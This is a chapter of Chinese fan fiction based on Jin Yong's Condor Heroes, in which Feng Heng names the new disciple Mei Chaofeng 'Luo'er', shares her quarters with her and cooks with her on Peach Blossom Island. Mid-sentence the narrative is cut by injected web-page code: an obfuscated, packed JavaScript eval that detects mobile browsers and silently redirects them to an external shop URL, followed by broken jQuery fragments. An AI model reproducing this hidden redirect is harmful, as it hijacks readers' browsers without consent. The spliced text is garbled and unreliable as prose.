28. 萝儿
    “这样吧,萝儿,或者萍儿,你喜欢哪一个?”

    不过都是最女儿气的小名罢了,但是梅若华不敢应答,小心翼翼的用余光去瞥黄药师的脸色,便是他也不曾对冯蘅直接说个不字,表情未变,甚至没有看她,仿佛对此并不在意,即使是他取名在先。

    这般态度让她捉摸不透,更不敢主动应答了,转眼间就低下头去。

    “那便唤你萝儿好吗?我还挺喜欢这个名字的。”见她还是瑟瑟的不敢说话,冯蘅干脆自作主张的替她决定。

    梅若华许是听话惯了,正准备同意,却见陈玄风眼珠子一转,抢先出声:“萝儿这小名好,还不快谢过夫人!”

    他这一声,惹得黄药师也不能不瞩目于他,勾起唇角,无声轻笑。

    “谢夫人赐名。”

    “虽然你很机智,这么快就想出了不得罪你师父的法子,但是……”冯蘅凑近了些,直接伸手掐着他的脸颊,眯着眼睛威胁道,“再重申一遍,叫我冯姑娘也好,叫姐姐也行,就是不准叫我夫人!”

    看着这突然放大的一张俏丽的脸,还包括那刻意做出的“恶狠狠”的表情,陈玄风心里却一点儿也不害怕,不仅不害怕,还觉着意外的亲近,他呆呆的眨了眨眼睛,随后点点头。

    拜师一事就这么讲究又仓促的结束了,曲灵风领着两个新入门的师弟师妹退出房间,将门掩上,房间徒留两人,冯蘅无奈长叹一声,预想到接下来岛上生活的“头疼”了,又听见黄药师幽幽的道了一句:“阿蘅,他们都已认了你了……”

    冯蘅满脸通红,却嘴硬道:“只是误会罢了!”

    男女关系实在是难懂,除了年长一些待的更久看的更多的曲灵风能理解这两位现在究竟是个什么情况,看破不说破,两个半大不大的孩子哪里能懂呢?但徒弟又怎能对师父的事情乱嚼舌根?一离开房间,三人对此都很有默契的闭口不谈。

    “冯姑娘生性活泼,为人亲切又不拘小节,很好相处的。”

    “明白的,曲师哥,我与师妹见过不少仗势欺人的主子,识人还算准,她是好人,我们并不怕,”陈玄风咧嘴笑道,露出一口白牙,“就是觉得她很特别,与我们此前见过的所有女子都不同。”

    见胆怯的梅超风也跟着点头应和,曲灵风也笑了:“其实我一早就如此觉得了。”

    后山蜿蜒溪水旁已经建起一排几间并立的小木屋,当初为了让曲灵风回来能住上,建的较为朴素,后续修整还是在他回岛后一起进行的,才成为如今这简单却雅致的组排木屋,颇具田园风光。虽修建房屋不少,但却并非刻意为收徒所准备,黄药师并无广受门徒的打算,只是因为冯蘅的一句“人少安静固然很好,但人多也有热闹的乐趣”,才动了让岛上为她热闹起来的心思……只要能留住她。

    “岛主大人,萝儿是个女孩子,跟灵风、玄风他们住一起怕是不太方便,不如让她住我雪堂吧?与我同住还能陪我说说话。”

    黄药师稍稍回转思绪,凝望着她明媚的面容,微微笑道:“好。”

    雪堂上下两层楼,是除了黄药师所住的主楼之外最清幽雅致的小阁楼,一个人住实在有些浪费,岛上两个女子倒是物尽其用,正正好了。

    被领着第一次踏进雪堂大门,梅超风立刻原地踟蹰,生疏的不知道要将视线放在何处,冯蘅见状宽慰道:“不用紧张,以后雪堂也是你的住所。”

    “雪堂?”

    “正是,你知道大文豪苏东坡吗?”提起雪堂的来历,冯蘅立刻兴奋起来,她给梅超风讲述苏轼因乌台诗案被贬黄州的故事,明明居住的是破旧艰苦的茅草屋,却为其取名为诗情画意的雪堂,其背后的乐观和坚守才是这个名字打动人心的蕴涵。

    “……我因崇拜苏轼故而有样学样,岛主大人也允了我这一点小心思。”

    不同于她谈及偶像的激动,梅超风却感到一丝丝窘迫,冯蘅将她的神情变化尽收眼底,心下明了,柔声道:“岛主大人文武兼修,既教你们武学,也会教你们读书明理,改明儿让岛主大人给你们讲东坡居士的故事,他可是我们这个时代最伟大的文人!”

    见她微微点头,冯蘅便拉着她直接往楼上走,却见她怎么不肯动弹,听见她小声道:“我睡楼下这塌子就好,不打扰冯姑娘晚上休息了。”

    冯蘅眨了眨眼,还是这般客套啊,她低低笑了两声道:“我可不是找人守着我睡觉的,而是睡前太无聊,想找个人聊天的。”

    “我嘴笨……”

    话音未落,就被她打断,软着声音哀求:“好萝儿,你就当替我解难,听我诉诉苦吧。”

    她还是一脸为难的不知该怎么办,冯蘅直接上手拉着她上楼而去,固执的将她的东西放好,又开始整理起床铺来,搬来另一叠被子,铺盖整齐。

    “你看,这床睡两个女孩子绰绰有余呢,而且天气渐渐冷了,女孩子又都有些体寒之症,我们刚好还可以报团取暖!岂不一举两得?……”

    梅超风明知道自己该接替她做这些事的,但她只是在旁边呆呆的站着,默默地看着,一言不发的垂着眼眸望着她,眼看着床上整整齐齐铺上了紧紧相依的两张被子,眸光微微闪动。

    “对了,你会厨艺吗?”

    她一愣,回过神,忙答道:“我会,姑娘放心,日后岛上的餐食便交由我来吧。”

    “不,不是这个意思,”冯蘅摆摆手,失声笑道,“岛上餐食呢,不是指定谁负责,虽大多数时候是哑仆叔叔来做,但像你师哥曲灵风也会做,我和岛主大人偶尔也会下厨,既是活儿,也是乐趣,今晚我想为你们露露手艺,却只会做些糕点,所以才问你会不会厨艺,想请你帮忙呢。”

    “姑娘太客气了,”梅超风垂下头去,低声道,“以后只管吩咐就好。”

    “忘记我跟你说的了吗?不喜欢可以说不,不愿意当然也可以拒绝,这是你的权利。”

    她嚅了嚅唇,不敢应答。冯蘅见状,心里叹着气,也不多说什么了,这胆

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173595|150537||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    怯柔弱的性格正如黄药师所说,未来还需要多成长,什么时候能够坚强自信到大声说出自己的想法就好,距离“大魔头”可就太远了些,不过只是个孩子呀。

    “我们走吧,得赶在天黑之前备好晚餐呢。”

    去菜圃挑选摘了些应季生长的新鲜蔬菜,两人步履不停径直前往厨房,厨房门口边上有个及腰高形状不明的土制品,通体灰黑看上去有些脏兮兮的,倒是吸引了梅超风的注意:“这是……?”

    “这是我用来做食物的土烧窑,只是个半成品,还不知能不能成功呢,别看现在模样奇怪,若真被我做出来了,我能给你们做很多你们没见过的食物!”

    “冯姑娘会的可真多。”梅超风想到曲灵风对初来乍到的他们介绍她时的话,不禁感叹道。

    “其实我会的不多,只是感兴趣的很多,”冯蘅耐着心解释道,“多看一些,多学一些,多感受一些,才叫生活,才能对得起这漫长的人生嘛。”

    梅超风一副似懂非懂的表情,十分配合的点了点头。

    “……我之前找了个本时人笔记,上面记载了不少食谱,但我对火候啊、调味啊这些都把控不准,所以一直没敢尝试,你看,这本书上记载的东坡豆腐的做法:豆腐,葱油煎,用研榧子一二十枚,和酱料同煮。又方,纯以酒煮,俱有益也……”

    厨房里的声音不受阻碍的传了出来,陈玄风正躲在墙后偷偷往里张望,灶台旁已经开始忙碌了起来,一人已准备好了食材,另一人却还在翻着书,苦恼些什么。

    右肩被轻轻一拍,陈玄风吓得回头一看:“曲师哥?”

    曲灵风问道:“怎么躲在这儿偷看呢?”

    他挠着后脑勺,有些不好意思道:“有点好奇……”

    “冯姑娘进厨房的时候,最好不要好奇哦。”

    “啊?为什么?”

    “谁在外面?”

    冯蘅声音一响起,陈玄风就像被现场抓包一般不敢动弹,余光一瞥,发现曲灵风早已不见踪影,而原本厨房里的人转眼间来到面前,四目相对之时,他开始懊悔自己为什么没跑快点了。

    “有空偷看,还不如帮我们一起,我和萝儿正缺个烧柴火的人……”说着,自己已经被不由分说的强行“押解”进了门去。

    山束邑居窄,峡牵气候偏。林峦少平地,雾雨多阴天。隐隐煮盐火,漠漠烧畲烟。赖此东楼夕,风月时翛然。

    天色渐暗,屋内烛火通明,最为偏远处的厨房里的热闹动静仍不时的传出,连分隔两端的书房都能听见。

    因厨房被那三人占去,今晚用餐时间已过,仍迟迟不见饭菜上桌,在书房谈话的两人虽彼此言语不停,注意力却早已随之飘了过去,尤其是不容忽视的冯蘅和陈玄风的吵吵闹闹声。

    曲灵风见黄药师听着两人拌嘴的声量一阵恍惚,笑道:“玄风师弟活泼跳脱,倒是很合冯姑娘的性子。”

    黄药师没有应声,许是回想起了什么,轻轻笑了。